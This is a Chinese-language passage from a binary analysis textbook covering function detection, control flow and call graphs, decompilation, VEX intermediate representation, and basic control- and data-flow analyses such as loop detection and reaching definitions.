函数签名模式包括众所周知的函数序言(用于设置函数堆栈帧的指令)和函数尾声(用于拆除堆栈帧的指令)。例如,许多 x86 编译器生成的未优化函数的典型模式以序言push ebp; mov ebp,esp开始,并以尾声leave; ret结束。许多函数检测器扫描二进制文件,寻找这样的签名,并用它们来识别函数的起始和结束位置。

尽管函数是构建反汇编代码的一个重要且有用的方式,但你应该始终警惕错误。在实践中,函数模式会根据平台、编译器和用来创建二进制文件的优化级别而有所不同。经过优化的函数可能完全没有众所周知的函数序言或尾声,因此无法通过基于签名的方法进行识别。因此,函数检测错误相当常见。例如,反汇编器将函数起始地址错误标记 20%或更多,甚至报告一个根本不存在的函数也并不罕见。

最近的研究探索了不同的函数检测方法,这些方法不依赖于签名,而是基于代码的结构。^(8) 尽管这种方法可能比基于签名的方法更准确,但检测错误依然是不可避免的。这一方法已被集成到 Binary Ninja 中,研究原型工具也可以与 IDA Pro 互操作,如果你有兴趣,可以尝试一下。

使用.eh_frame 节进行函数检测

一种有趣的替代方法是基于.eh_frame部分进行函数检测,这可以完全绕过函数检测问题。.eh_frame部分包含与基于 DWARF 的调试功能(如栈展开)相关的信息。这包括标识二进制文件中所有函数的函数边界信息。即使是剥离的二进制文件也会包含这些信息,除非该二进制文件是使用gcc-fno-asynchronous-unwind-tables标志编译的。它主要用于 C++异常处理,但也用于其他各种应用,如backtrace()以及gcc的内建函数,如__attribute__((__cleanup__(f)))__builtin_return_address(n)。由于它的多种用途,.eh_frame默认存在于所有由gcc生成的二进制文件中,不仅仅是使用异常处理的 C++二进制文件,还包括普通的 C 二进制文件。

据我所知,这种方法最早是由 Ryan O’Neill(别名 ElfMaster)描述的。在他的网站上,他提供了将.eh_frame部分解析为一组函数地址和大小的代码。^(a)

a. www.bitlackeys.org/projects/eh_frame.tgz

控制流图(CFG)

将反汇编的代码拆分为函数是一回事,但有些函数相当庞大,这意味着分析一个函数可能是一个复杂的任务。为了组织每个函数的内部结构,反汇编器和二进制分析框架使用另一种代码结构,称为控制流图(CFG)。控制流图对于自动化分析以及手动分析都非常有用。它们还提供了一种便捷的图形化表示代码结构的方式,可以让你一眼就能了解函数的结构。图 6-5 展示了一个通过 IDA Pro 反汇编的函数的 CFG 示例。

image

图 6-5:在 IDA Pro 中看到的 CFG

如图所示,控制流图(CFG)将函数内的代码表示为一组代码块,称为基本块,通过分支边连接,这里用箭头表示。基本块是一系列指令,其中第一条指令是唯一的入口点(即任何跳转指令所指向的指令),而最后一条指令是唯一的出口点(即该序列中唯一可能跳转到另一个基本块的指令)。换句话说,你永远不会看到一个基本块有箭头连接到第一条或最后一条以外的指令。

在 CFG 中,从基本块B到另一个基本块C的边,表示B中的最后一条指令可能跳转到C的起始位置。如果B只有一条出边,那么这意味着它一定会将控制转移到该边的目标。例如,这就是间接跳转或调用指令的情况。另一方面,如果B以条件跳转结束,那么它会有两条出边,运行时选择哪条边取决于跳转条件的结果。

调用边不属于 CFG 的一部分,因为它们指向函数外的代码。相反,CFG 仅显示指向函数调用完成后控制将返回的指令的“顺序执行”边。还有一种代码结构,称为调用图,它专门用于表示调用指令和函数之间的边。我将在接下来的内容中讨论调用图。

实际上,反汇编工具通常会省略 CFG 中的间接边,因为静态分析时很难解析这些边的潜在目标。反汇编工具有时还会定义一个全局的 CFG,而不是每个函数的 CFG。这样的全局 CFG 被称为过程间 CFG(ICFG),因为它本质上是所有每个函数的 CFG 的并集(过程是函数的另一种说法)。ICFG 避免了易出错的函数检测,但没有每个函数 CFG 的封装性优势。

调用图

调用图与控制流图(CFG)类似,区别在于它显示的是调用位置和函数之间的关系,而不是基本块之间的关系。换句话说,CFG 展示的是函数内部控制流的走向,而调用图则展示哪些函数可能相互调用。与 CFG 一样,调用图通常会省略间接调用边,因为准确判断某个间接调用位置可能会调用哪些函数是不可行的。

图 6-6 的左侧展示了一组函数(标记为f[1]到f[4])及它们之间的调用关系。每个函数由若干个基本块(灰色圆圈)和分支边(箭头)组成。对应的调用图位于图的右侧。如图所示,调用图包含了每个函数的节点,并且有边显示函数f[1]可以调用f[2]f[3],还有一条表示从f[3]到f[1]的调用边。尾调用实际上是作为跳转指令实现的,在调用图中显示为常规调用。然而,请注意,从f[2]到f[4]的间接调用在调用图中没有显示。

image

图 6-6:控制流图(左)和函数间连接(右)以及相应的调用图

IDA Pro 还可以显示部分调用图,显示你选择的特定函数的潜在调用者。对于手动分析而言,这些通常比完整的调用图更有用,因为完整的调用图通常包含过多的信息。图 6-7 显示了 IDA Pro 中一个部分调用图的示例,揭示了对函数 sub_404610 的引用。正如你所看到的,图中显示了函数的调用位置;例如,sub_404610sub_4e1bd0 调用,而 sub_4e1bd0 又被 sub_4e2fa0 调用。

此外,IDA Pro 生成的调用图还显示了存储函数地址的指令。例如,在 .text 段的地址 0x4e072c 处,有一条指令将函数 sub_4e2fa0 的地址存储到内存中。这称为“获取函数” sub_4e2fa0 的地址。任何在代码中被引用地址的函数都称为 地址引用函数

了解哪些函数的地址被引用是很有用的,因为这表明它们可能会被间接调用,即使你不确切知道是通过哪个调用位置。如果一个函数的地址从未被引用,也没有出现在任何数据段中,你就知道它永远不会被间接调用。^(9) 这对于某些类型的二进制分析或安全应用很有帮助,例如,当你试图通过限制间接调用只允许合法目标来保护二进制文件时。

image

图 6-7:一个调用图,显示了指向函数 sub_404610* 的调用,来自 IDA Pro*

面向对象代码

你会发现许多二进制分析工具,包括像 IDA Pro 这样的全功能反汇编器,主要面向用 过程语言(如 C)编写的程序。因为这些语言中的代码主要通过使用函数来结构化,二进制分析工具和反汇编器提供了如函数检测等功能,用于恢复程序的函数结构,并通过调用图来检查函数之间的关系。

面向对象语言,如 C++,通过使用 来构造代码,这些类将逻辑上相关的函数和数据组织在一起。它们通常还提供复杂的异常处理功能,允许任何指令抛出异常,之后会被一个特殊的代码块捕获并处理。不幸的是,当前的二进制分析工具缺乏恢复类层次结构和异常处理结构的能力。

更糟糕的是,C++ 程序通常包含大量的函数指针,因为虚拟方法的实现方式。虚拟方法 是允许在派生类中重写的类方法(函数)。在一个经典示例中,你可能会定义一个名为 Shape 的类,它有一个名为 Circle 的派生类。Shape 定义了一个虚拟方法 area,用于计算形状的面积,而 Circle 则重写了这个方法,提供适用于圆形的实现。

在编译 C++ 程序时,编译器可能不知道指针在运行时会指向一个基类Shape对象还是一个派生类Circle对象,因此无法静态地确定运行时应该使用哪个area方法的实现。为了解决这个问题,编译器会生成一个包含函数指针的表,称为vtables,其中包含指向特定类的所有虚函数的指针。Vtables 通常保存在只读内存中,每个多态对象都有一个指向其类型 vtable 的指针(称为vptr)。要调用虚方法,编译器会生成代码,在运行时跟踪对象的 vptr,并间接调用 vtable 中的正确条目。不幸的是,所有这些间接调用使得程序的控制流更加难以追踪。

二进制分析工具和反汇编工具不支持面向对象程序意味着,如果你想围绕类层次结构来组织分析,你就只能依靠自己了。在手动反向工程 C++ 程序时,你通常可以将属于不同类的函数和数据结构拼凑在一起,但这需要大量的工作。为了保持我们对(半)自动化二进制分析技术的关注,我在这里不会详细讨论这个主题。如果你有兴趣学习如何手动反向工程 C++ 代码,我推荐 Eldad Eilam 的书《Reversing: Secrets of Reverse Engineering》(Wiley,2005 年)。

在自动化分析的情况下,你可以(就像大多数二进制分析工具一样)简单地假装类不存在,将面向对象程序与过程化程序一样对待。事实上,这种“解决方案”对于许多分析工作来说足够有效,并且可以让你避免实现特殊的 C++ 支持,除非真的需要。

6.3.2 数据结构化

正如你所看到的,反汇编工具可以自动识别各种代码结构,以帮助你进行二进制分析。不幸的是,数据结构就不能这么简单了。在精简的二进制文件中自动检测数据结构是一个公认的难题,除了某些研究工作^(10),反汇编工具通常甚至不尝试处理。

但也有一些例外。例如,如果将数据对象的引用传递给一个著名的函数,如库函数,像 IDA Pro 这样的反汇编工具可以根据库函数的规范自动推断数据类型。图 6-8 展示了一个例子。

在基本块的底部,调用了著名的send函数,用于通过网络发送消息。由于 IDA Pro 知道send函数的参数,它可以标记参数名称(flagslenbufs),并推断出用于加载参数的寄存器和内存对象的数据类型。

此外,原始类型有时可以通过它们存储的寄存器或用于操作数据的指令来推断。例如,如果你看到使用浮点寄存器或浮点指令,你就知道相关数据是浮点数。如果你看到lodsb加载字符串字节)或stosb存储字符串字节)指令,很可能是在操作字符串。

对于复合类型,如struct类型或数组,所有的推测都不再适用,你必须依赖自己的分析。为了说明为什么自动识别复合类型困难,看看以下 C 代码如何编译成机器码:

ccf->user = pwd->pw_uid;

image

图 6-8:IDA Pro 根据使用的send函数自动推断数据类型。

这是nginx v1.8.0 源代码中的一行,其中一个struct中的整数字段被赋值到另一个struct中的字段。当使用gcc v5.1 并在优化级别-O2下编译时,生成以下机器码:

mov eax,DWORD PTR [rax+0x10]
mov DWORD PTR [rbx+0x60],eax

现在让我们看看以下 C 代码,它将一个整数从一个名为b的堆分配数组复制到另一个数组a中:

a[24] = b[4];

这是使用gcc v5.1 并在优化级别-O2下编译的结果:

mov eax,DWORD PTR [rsi+0x10]
mov DWORD PTR [rdi+0x60],eax

如你所见,代码模式与struct赋值完全相同!这表明,没有任何自动化分析方法能够从这样的指令序列中判断它们是表示数组查找、struct访问,还是完全不同的操作。像这样的问题使得准确检测复合数据类型变得困难,在一般情况下甚至是不可能的。请记住,这个例子非常简单;想象一下,反向工程一个包含struct类型数组或嵌套struct的程序,并试图弄清楚哪些指令是对哪个数据结构进行索引!显然,这是一个复杂的任务,需要对代码进行深入分析。鉴于准确识别复杂数据类型的复杂性,你可以理解为什么反汇编工具不会尝试自动检测数据结构。

为了方便手动构造数据,IDA Pro 允许你定义自己的复合类型(你必须通过反向工程代码来推断这些类型),并将它们分配给数据项。Chris Eagle 的《IDA Pro 书》(No Starch Press, 2011)是一本非常好的手动反向工程数据结构的资源。

6.3.3 反编译

正如名称所示,反编译器是尝试“逆向编译过程”的工具。它们通常从反汇编代码开始,并将其翻译成更高层次的语言,通常是一种类似 C 的伪代码形式。在逆向大型程序时,反编译器非常有用,因为反编译的代码比大量的汇编指令更易于阅读。但由于反编译过程容易出错,反编译器只能用于手动逆向,无法作为任何自动化分析的可靠基础。尽管在本书中你不会使用反编译,但我们还是来看看清单 6-6,让你对反编译的代码有个大致的了解。

最广泛使用的反编译器是 Hex-Rays,它是 IDA Pro 的一个插件。^(11) 清单 6-6 显示了 Hex-Rays 输出的函数,展示了前面图 6-5 中显示的内容。

清单 6-6:使用 Hex-Rays 反编译的函数

➊ void **__usercall sub_4047D4<eax>(int a1<ebp>)
   {
➋    int   v1; // eax@1
      int   v2; // ebp@1
      int   v3; // ecx@4
      int   v5; // ST10_4@6
      int   i; // [sp+0h] [bp-10h]@3

➌    v2 = a1 + 12;
      v1 = *(_DWORD *)(v2 - 524);
      *(_DWORD *)(v2 - 540) = *(_DWORD *)(v2 - 520);
➍     if ( v1 == 1 )
         goto LABEL_5;
       if ( v1 != 2 )
       {
➎      for ( i = v2 - 472; ; i = v2 - 472 )
       {
         *(_DWORD *)(v2 - 524) = 0;
➏       sub_7A5950(i);
         v3 = *(_DWORD *)(v2 - 540);
         *(_DWORD *)(v2 - 524) = -1;
         sub_9DD410(v3);
   LABEL_5:
          ;
        }
     }
     *(_DWORD *)(v2 - 472) = &off_B98EC8;
     *(_DWORD *)(v2 - 56) = off_B991E4;
     *(_DWORD *)(v2 - 524) = 2;
     sub_58CB80(v2 - 56);
     *(_DWORD *)(v2 - 524) = 0;
     sub_7A5950(v2 - 472);
     v5 = *(_DWORD *)(v2 - 540);
     *(_DWORD *)(v2 - 524) = -1;
     sub_9DD410(v5);
➐   return &off_AE1854;
   }

正如你在清单中看到的,反编译的代码比原始汇编代码更易于阅读。反编译器推测了函数的签名 ➊ 和局部变量 ➋。此外,算术和逻辑运算使用 C 的常规运算符 ➌ 表达,而不是汇编助记符。反编译器还尝试重建控制流结构,例如 if/else 分支 ➍,循环 ➎ 和函数调用 ➏。还有一个 C 风格的返回语句,使得更容易看到函数的最终结果 ➐。

尽管这些工具非常有用,但请记住,反编译不过是帮助你理解程序正在做什么的工具。反编译的代码与原始的 C 源代码差距很大,可能会显式地失败,并且会受到底层反汇编和反编译过程本身不准确的影响。这就是为什么通常不建议在反编译的基础上进行更高级的分析。

6.3.4 中间表示

像 x86 和 ARM 这样的指令集包含了许多具有复杂语义的不同指令。例如,在 x86 上,即使是看似简单的指令,如 add,也会产生副作用,例如设置 eflags 寄存器中的状态标志。指令和副作用的数量庞大,使得自动推理二进制程序变得困难。例如,正如你将在第十章到第十三章中看到的那样,动态污点分析和符号执行引擎必须实现显式的处理程序,以捕捉它们分析的所有指令的数据流语义。准确实现这些处理程序是一个艰巨的任务。

中间表示(IR),也称为中间语言,旨在消除这一负担。IR 是一种简单的语言,作为 x86 和 ARM 等低级机器语言的抽象。常见的 IR 包括逆向工程中间语言(REIL)VEX IR(用于valgrind插桩框架的 IR^(12))。甚至有一个叫做McSema的工具,它将二进制文件转换为LLVM 位代码(也称为LLVM IR)。^(13)

IR 语言的概念是自动将实际的机器代码(如 x86 代码)转换为 IR,这个 IR 捕获了所有机器代码的语义,但更易于分析。作为对比,REIL 只有 17 条不同的指令,而 x86 有数百条指令。此外,像 REIL、VEX 和 LLVM IR 这样的语言明确表达所有操作,没有模糊的指令副作用。

从低级机器代码到 IR 代码的转换步骤仍然是一个繁重的工作,但一旦完成这项工作,就更容易在转换后的代码上实现新的二进制分析。与其为每个二进制分析编写特定的指令处理程序,使用 IR 时,你只需进行一次翻译步骤的实现即可。此外,你还可以为多个 ISA(如 x86、ARM 和 MIPS)编写翻译器,并将它们全部映射到相同的 IR。这样,任何支持该 IR 的二进制分析工具将自动继承 IR 支持的所有 ISA。

将像 x86 这样复杂的指令集转换为像 REIL、VEX 或 LLVM IR 这样简单语言的权衡是,IR 语言远不如原始指令集简洁。这是因为在用有限数量的简单指令表达复杂操作(包括所有副作用)时,必然的结果。这通常对于自动化分析没有问题,但却往往使得中间表示对于人类来说难以阅读。为了让你了解 IR 是什么样子的,可以看看 Listing 6-7,它展示了 x86-64 指令add rax,rdx如何转换为 VEX IR。^(14)

Listing 6-7: 将 x86-64 指令 add rax,rdx 转换为 VEX IR

➊ IRSB {
➋    t0:Ity_I64 t1:Ity_I64 t2:Ity_I64 t3:Ity_I64
➌    00   |   ------ IMark(0x40339f, 3, 0) ------
➍    01   |   t2 = GET:I64(rax)
      02   |   t1 = GET:I64(rdx)
➎    03   |   t0 = Add64(t2,t1)
➏    04   |   PUT(cc_op) = 0x0000000000000004
      05   |   PUT(cc_dep1) = t2
      06   |   PUT(cc_dep2) = t1 
➐    07   |   PUT(rax) = t0
➑    08   |   PUT(pc) = 0x00000000004033a2
      09   |   t3 = GET:I64(pc) 
➒   NEXT: PUT(rip) = t3; Ijk_Boring
   }

如你所见,单个add指令会生成 10 个 VEX 指令,以及一些元数据。首先,有一些元数据说明这是一个IR 超级块(IRSB) ➊,对应于一个机器指令。IRSB 包含四个临时值,分别标记为t0t3,类型为Ity_I64(64 位整数) ➋。接下来是一个IMark ➌,它是元数据,指出了机器指令的地址和长度等信息。

接下来是实际的 IR 指令,用于建模add。首先,有两条GET指令,它们分别将 64 位值从raxrdx取出并存储到临时寄存器t2t1中 ➍。请注意,raxrdx只是 VEX 状态中用于建模这些寄存器的符号名称——VEX 指令并不会从真实的raxrdx寄存器中获取数据,而是从 VEX 的镜像状态中获取这些寄存器的数据。为了执行实际的加法,IR 使用 VEX 的Add64指令,将两个 64 位整数t2t1相加,并将结果存储到t0中 ➎。

在加法操作之后,有一些PUT指令,用来建模add指令的副作用,例如更新 x86 状态标志 ➏。然后,另一条PUT指令将加法结果存储到 VEX 的状态中,表示rax ➐。最后,VEX IR 建模了将程序计数器更新到下一个指令 ➑。Ijk_BoringJump Kind Boring) ➒ 是一个控制流提示,表示add指令不会以任何有趣的方式影响控制流;由于add不是任何形式的跳转指令,控制只是“自然”地流向内存中的下一条指令。相反,分支指令可以使用像Ijk_CallIjk_Ret这样的提示来通知分析发生了调用或返回。

在现有的二进制分析框架上实现工具时,通常不需要处理中间表示(IR)。框架会在内部处理所有与 IR 相关的事务。然而,如果你计划实现自己的二进制分析框架或修改现有框架,了解 IR 还是很有用的。

6.4 基本分析方法

你在本章中学习的反汇编技术是二进制分析的基础。许多后续章节中讨论的高级技术,如二进制插桩和符号执行,都基于这些基本的反汇编方法。但在继续讨论这些技术之前,还有一些“标准”分析方法我想要介绍,因为它们具有广泛的应用性。请注意,这些方法并不是独立的二进制分析技术,但你可以将它们作为更高级二进制分析的组成部分来使用。除非另有说明,这些通常作为静态分析来实现,尽管你也可以修改它们以适应动态执行轨迹。

6.4.1 二进制分析属性

首先,让我们回顾一下任何二进制分析方法可能具备的不同属性。这将有助于分类我将在这里以及后续章节中介绍的不同技术,并帮助你理解它们的权衡。

跨过程和过程内分析

回想一下,函数是反汇编器尝试恢复的基本代码结构之一,因为在函数级别分析代码更加直观。使用函数的另一个原因是可扩展性:当应用于完整程序时,某些分析是不可行的。

程序中可能的路径数会随着控制转移(如跳转和调用)的数量呈指数增长。在一个仅有 10 个if/else分支的程序中,最多有 2¹⁰ = 1,024 条可能的路径。如果程序有一百个这样的分支,最多有 1.27 × 10³⁰条可能路径,而一千个分支则最多有 1.07 × 10³⁰¹条路径!许多程序的分支数远超过这个数量,因此在非平凡的程序中分析每一条可能的路径在计算上是不可行的。

这就是为什么计算量大的二进制分析通常是内程序的原因:它们只考虑每次一个函数内部的代码。通常,内程序分析会依次分析每个函数的控制流图(CFG)。这与跨程序分析形成对比,后者会将整个程序作为一个整体来考虑,通常通过调用图将所有函数的控制流图连接在一起。

因为大多数函数只包含几十条控制转移指令,所以在函数级别进行复杂分析是计算上可行的。如果你单独分析 10 个函数,每个函数有 1,024 条可能的路径,你将分析总共 10 × 1,024 = 10,240 条路径;这比考虑整个程序时必须分析的 1,024¹⁰ ≈ 1.27 × 10³⁰条路径要好得多。

内程序分析的缺点是它并不完整。例如,如果你的程序包含一个只有在非常特定的函数调用组合下才会触发的 bug,内程序 bug 检测工具就无法找到该 bug。它只会独立地考虑每个函数,并得出没有问题的结论。相比之下,跨程序工具能够找到这个 bug,但可能需要花费太长时间,导致结果已不再有意义。

另一个例子是,考虑编译器如何决定优化清单 6-8 中显示的代码,具体取决于它是使用内程序优化还是跨程序优化。

清单 6-8:包含死代码的程序

   #include <stdio.h>

   static void
➊ dead(int x)
   {
➋    if(x == 5) {
        printf("Never reached\n");
     }
   }

   int
   main(int argc, char *argv[])
   {
➌   dead(4);
     return 0;
   }

在这个例子中,有一个名为dead的函数,它接受一个整数参数x并不返回任何值➊。在函数内部,有一个分支,只有在x等于 5 时才会打印一条信息➋。实际上,dead只在一个位置被调用,并且其参数是常量值 4➌。因此,➋处的分支永远不会被执行,也不会打印任何信息。

编译器使用一种优化技术,叫做死代码消除,来找出在实际运行中永远无法到达的代码实例,以便它们可以在编译后的二进制文件中省略这些无用的代码。然而,在这种情况下,纯粹的过程内死代码消除会失败,无法消除➋处的无用分支。这是因为当进行dead的优化时,它并不知道其他函数中的任何代码,因此不知道dead是如何以及在何处被调用的。同样,在优化main时,它也无法深入dead函数,注意到在➌处传递给dead的特定参数导致dead什么也不做。

需要进行跨过程分析,才能得出结论:dead仅在main中被调用,且传入的值为 4,这意味着➋处的分支永远不会被执行。因此,过程内死代码消除将会在编译后的二进制文件中输出整个dead函数(及其调用),尽管它没有任何用途,而跨过程分析则会省略整个无用的函数。

流敏感性

二进制分析可以是流敏感流不敏感的。^(15) 流敏感性意味着分析会考虑指令的执行顺序。为了更清楚地说明这一点,看看下面这个伪代码的示例。

x = unsigned_int(argv[0]) #  ➊x ∊ [0,∞]
x = x + 5                 #  ➋x ∊ [5,∞]
x = x + 10                #  ➌x ∊ [15,∞]

这段代码从用户输入中获取一个无符号整数,然后对其进行一些计算。假设你对进行一种分析感兴趣,旨在确定每个变量可能的值,这被称为值集分析。该分析的无流分析版本会简单地确定x可能包含任何值,因为它的值来自用户输入。虽然从程序的角度来看,x在某些时刻可能取任何值,但并不是程序中的所有点都如此。因此,无流分析提供的信息并不是非常精确,但从计算复杂度的角度来看,该分析相对便宜。

流敏感版本的分析会提供更精确的结果。与无流版本相比,它提供了在程序中每个点x可能值集的估计,同时考虑到之前的指令。在➊处,分析得出结论,x可以是任何无符号值,因为它是从用户输入中获取的,而且此时还没有任何指令来限制x的值。然而,在➋处,你可以细化这个估计:由于x增加了 5,你知道从此时开始,x的值至少是 5。同样,在➌处的指令之后,你知道x的值至少是 15。

当然,现实生活中情况并不像那么简单,你必须处理更复杂的结构,例如分支、循环和(递归)函数调用,而不是简单的直线代码。因此,流敏感分析往往比流不敏感分析更加复杂,并且计算开销更大。

上下文敏感性

流敏感分析考虑的是指令的顺序,上下文敏感性则考虑函数调用的顺序。上下文敏感性仅对跨过程分析有意义。上下文不敏感的跨过程分析会计算一个全局的结果。另一方面,上下文敏感的分析会针对通过调用图的每一条可能路径(换句话说,针对函数可能出现在调用栈中的每一种顺序)计算一个单独的结果。请注意,这意味着上下文敏感分析的准确性受限于调用图的准确性。分析的上下文是遍历调用图时积累的状态。我将把这个状态表示为一个之前遍历过的函数列表,记作 < f[1], f[2], . . . , f[n] >。

实际上,分析的上下文通常是有限制的,因为非常大的上下文会使得流敏感分析变得计算量过大。例如,分析可能只计算连续五个(或任何任意数量的)函数的上下文结果,而不是计算任意长度路径的完整结果。作为上下文敏感分析优势的一个例子,请看图 6-9。

image

图 6-9:opensshd中上下文敏感与上下文不敏感的间接调用分析

该图展示了上下文敏感性如何影响opensshd v3.5 中间接调用分析的结果。分析的目标是找出channel_handler函数中间接调用位置的可能目标(即执行(*ftab[c->type])(c, readset, writeset);的那一行)。间接调用位置从一个函数指针表中获取其目标,这个表作为参数ftab传递给channel_handlerchannel_handler函数由两个其他函数调用:channel_prepare_selectchannel_after_select。这两个函数各自将自己的函数指针表作为ftab参数传递。

在没有上下文敏感分析的情况下,间接调用分析得出的结论是channel_handler中的间接调用可能指向channel_pre表中的任何函数指针(从channel_prepare_select传入)或channel_post表中的任何函数指针(从channel_after_select传入)。实际上,它得出结论,所有可能的目标集合是程序中任何路径上所有可能集合的并集 ➊。

相比之下,上下文敏感分析为每个可能的前置调用上下文确定一个不同的目标集合。如果channel_handler是由channel_prepare_select调用的,那么只有在它传递给channel_handlerchannel_pre表中的目标才是有效的➋。另一方面,如果channel_handler是从channel_after_select调用的,那么只有channel_post中的目标是可能的➌。在这个例子中,我只讨论了长度为 1 的上下文,但一般来说,上下文可以是任意长的(只要是通过调用图的最长路径)。

与流敏感性类似,上下文敏感性的优点是提高了精度,而缺点则是更高的计算复杂性。此外,上下文敏感分析必须处理大量的状态信息,用以追踪所有不同的上下文。而且,如果存在递归函数,可能的上下文数量是无限的,因此需要采取特别措施来处理这些情况^(16)。通常,若不通过诸如限制上下文大小等成本与收益的权衡,创建一个可扩展的上下文敏感分析版本可能是不可行的。

6.4.2 控制流分析

任何二进制分析的目的是找出程序的控制流属性、数据流属性或两者。专注于控制流属性的二进制分析被称为控制流分析,而专注于数据流的分析被称为数据流分析。这种区分仅仅是基于分析是否专注于控制流或数据流;它并没有说明分析是过程内分析还是跨过程分析,是流敏感还是流不敏感,或者是上下文敏感还是上下文不敏感。让我们先来看一种常见的控制流分析类型,叫做循环检测。在下一节中,你将看到一些常见的数据流分析。

循环检测

顾名思义,循环检测的目的是在代码中查找循环。在源代码级别,像whilefor这样的关键字可以轻松地帮助你找到循环。在二进制级别,这就更难一些,因为循环通常使用与实现if/else分支和开关语句相同的(有条件或无条件的)跳转指令来实现。

查找循环的能力有很多用途。例如,从编译器的角度来看,循环很重要,因为程序的大部分执行时间都花费在循环中(一个常被引用的数字是 90%)。这意味着循环是优化的一个重要目标。从安全角度来看,分析循环也很有用,因为像缓冲区溢出这样的漏洞往往发生在循环中。

编译器中使用的循环检测算法采用了不同于直觉的循环定义。这些算法寻找自然循环,这些循环具有某些良好的结构属性,使得它们更易于分析和优化。也有一些算法可以检测 CFG 中的任何循环,即使这些循环不符合自然循环的严格定义。图 6-10 展示了一个包含自然循环的 CFG 示例,以及一个不是自然循环的循环。

首先,我将向您展示用于检测自然循环的典型算法。之后,您会更清楚为什么并非每个循环都符合该定义。要理解什么是自然循环,您需要了解什么是支配树。图 6-10 的右侧展示了一个支配树的示例,它对应于图左侧展示的 CFG。

image

图 6-10:一个 CFG 及其对应的支配树

一个基本块A被认为是支配另一个基本块B,如果从控制流图(CFG)的入口点到达B的唯一方式是先经过A。例如,在图 6-10 中,BB[3]支配BB[5],但不支配BB[6],因为BB[6]也可以通过BB[4]到达。相反,BB[6]由BB[1]支配,BB[1]是从入口点到BB[6]的所有路径必须经过的最后一个节点。支配树编码了 CFG 中的所有支配关系。

现在,一个自然循环是由一个从基本块BA回边诱发的,其中A支配B。由这个回边产生的循环包含所有由A支配的、从中有路径通向B的基本块。通常,B本身被排除在这个集合之外。直观地说,这一定义意味着自然循环不能在中途被进入,只能在一个明确的头节点处进入。这简化了自然循环的分析。

例如,在图 6-10 中,存在一个自然循环,横跨基本块BB[3]和BB[5],因为从BB[5]到BB[3]有回边,且BB[3]支配BB[5]。在这种情况下,BB[3]是循环的头节点,BB[5]是“回环”节点,而循环的“主体”(根据定义不包括头节点和回环节点)不包含任何节点。

循环检测

您可能已经注意到图中有另一个回边,从BB[7]到BB[4]。这个回边诱发了一个循环,但不是自然循环,因为循环可以在BB[6]或BB[7]“中途”进入。由于这个原因,BB[4]没有支配BB[7],因此该循环不符合自然循环的定义。

要找到像这样的循环,包括任何自然循环,你只需要控制流图(CFG),而不需要支配树。只需从 CFG 的入口节点开始深度优先搜索(DFS),然后保持一个栈,每当 DFS 遍历一个基本块时,就将其推入栈中,并在 DFS 回溯时将其弹出。如果 DFS 遇到一个已经在栈中的基本块,那么你就找到了一个循环。

例如,假设你正在对 图 6-10 中显示的控制流图(CFG)进行 DFS。DFS 从入口点 BB[1] 开始。列表 6-9 显示了 DFS 状态的演变以及 DFS 如何在 CFG 中检测到两个循环(为了简洁起见,我没有展示 DFS 在找到两个循环之后的继续过程)。

列表 6-9:使用 DFS 检测循环

    0:   [BB1]
    1:   [BB1,BB2]
    2:   [BB1]
    3:   [BB1,BB3]
    4:   [BB1,BB3,BB5]
➊   5:   [BB1,BB3,BB5,BB3]                 *cycle found*
    6:   [BB1,BB3,BB5]
    7:   [BB1,BB3,BB5,BB7]
    8:   [BB1,BB3,BB5,BB7,BB4]
    9:   [BB1,BB3,BB5,BB7,BB4,BB6]
➋  10:  [BB1,BB3,BB5,BB7,BB4,BB6,BB7]      *cycle found*
...

首先,DFS 探索 BB[1] 的最左分支,但在遇到死胡同时迅速回溯。然后进入中间分支,从 BB[1] 到 BB[3],继续沿着 BB[5] 搜索,在此之后再次遇到 BB[3],从而找到包含 BB[3] 和 BB[5] 的循环 ➊。接着回溯到 BB[5],继续沿着通往 BB[7] 的路径搜索,然后是 BB[4]、BB[6],直到最终再次遇到 BB[7],找到第二个循环 ➋。

6.4.3 数据流分析

现在让我们来看看一些常见的数据流分析技术:到达定义分析、使用-定义链和程序切片。

到达定义分析

到达定义分析 解答了“哪些数据定义可以到达程序中的这一点?”当我说一个数据定义可以“到达”程序中的某个点时,我的意思是,分配给一个变量(或者在更低级别上,分配给一个寄存器或内存位置)的值可以到达该点,而不会在此过程中被其他赋值覆盖。到达定义分析通常应用于控制流图(CFG)级别,尽管它也可以在过程间使用。

分析首先通过考虑每个基本块生成哪些定义并杀死哪些定义来开始。通常通过计算每个基本块的 genkill 集合来表达这一点。图 6-11 显示了基本块的 genkill 集合示例。

BB[3] 的 gen 集合包含语句 6 和 8,因为这些是 BB[3] 中的定义,直到基本块结束时仍然有效。语句 7 不再有效,因为 z 被语句 8 覆盖。kill 集合包含来自 BB[1] 和 BB[2] 的语句 1、3 和 4,因为这些赋值被 BB[3] 中的其他赋值覆盖。

image

图 6-11:基本块的 gen kill 集合示例

计算每个基本块的genkill集合之后,你就得到了一个局部解,告诉你每个基本块生成和消除的数据定义。从这些信息中,你可以计算出一个全局解,告诉你哪些定义(来自控制流图中的任何地方)可以到达一个基本块的开始,哪些定义在基本块执行完后仍然存活。可以到达基本块B的全局定义集合表示为一个集合out[B],定义如下:

image

直观地说,这意味着到达B的定义集合是所有离开其他前驱基本块的定义集合的并集。离开基本块B的定义集合表示为out[B],定义如下:

image

换句话说,离开B的定义是B自己生成的或从其前驱接收的(作为其in集合的一部分)且没有被杀死的定义。注意,in集合和out集合之间存在相互依赖关系:in是通过out定义的,反之亦然。这意味着实际上,进行到达定义分析时,仅仅计算每个基本块的inout集合一次是不够的。相反,分析必须是迭代的:每次迭代时,它都会计算每个基本块的集合,并继续迭代,直到集合没有再发生变化为止。一旦所有的inout集合都达到稳定状态,分析就完成了。

到达定义分析构成了许多数据流分析的基础。这包括使用-定义分析,我接下来将讨论这一点。

使用-定义链

使用-定义链告诉你,在程序中的每个变量使用点,那个变量可能被定义的位置。例如,在图 6-12 中,B[2]中y的使用-定义链包含语句 2 和语句 7。这是因为在该控制流图(CFG)中的这一点,y可能是通过语句 2 的原始赋值或(经过一次循环迭代后)语句 7 获得的。注意,B[2]中没有z的使用-定义链,因为z仅在该基本块中被赋值,而未被使用。

image

图 6-12:使用-定义链的示例

使用-定义链的一个应用场景是反编译:它们使反编译器能够追踪在条件跳转中使用的值被比较的位置。通过这种方式,反编译器可以将cmp x,5je(相等时跳转)指令合并为一个更高层次的表达式,如if(x == 5)。使用-定义链也用于编译器优化,例如常量传播,当某个变量在程序中的某个点唯一的可能值为常量时,替换该变量为常量。它们在许多其他二进制分析场景中也很有用。

